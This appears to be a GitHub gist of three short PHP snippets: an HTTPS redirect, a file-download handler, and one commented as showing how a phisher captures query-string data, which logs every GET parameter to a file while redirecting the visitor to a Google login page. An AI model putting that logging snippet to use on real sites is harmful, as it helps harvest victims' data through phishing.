Last active
January 8, 2021 20:23
-
-
Save lukeawyatt/b8a5a04e0bc1da89a97afa813b790db2 to your computer and use it in GitHub Desktop.
Lang: PHP
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if(!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] == "" || $_SERVER['HTTPS'] == "off"){ | |
$redirect = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; | |
header('Status: 301 Moved Permanently', true); | |
header("Location: $redirect", true, 301); | |
} | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$file = './path/to/file'; | |
if (file_exists($file)) { | |
header('Content-Description: File Transfer'); | |
header('Content-Type: application/octet-stream'); | |
header('Content-Disposition: attachment; filename='.basename($file)); | |
header('Content-Transfer-Encoding: binary'); | |
header('Expires: 0'); | |
header('Cache-Control: must-revalidate'); | |
header('Pragma: public'); | |
header('Content-Length: ' . filesize($file)); | |
ob_clean(); | |
flush(); | |
readfile($file); | |
exit(); | |
} | |
else { | |
exit('Failed...'); | |
} | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// THIS EXAMPLE SHOWS HOW A PHISHER WOULD CAPTURE QUERY STRING DATA | |
Header("Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy<mpl=default<mplcache=2"); | |
$handle = fopen("list.txt", "a"); | |
Foreach($_GET as $variable => $value) { | |
fwrite($handle, $variable); | |
fwrite($handle, "="); | |
fwrite($handle, $value); | |
fwrite($handle, "\r\n"); | |
} | |
Fwrite($handle, "\r\n"); | |
fclose($handle); | |
exit; | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment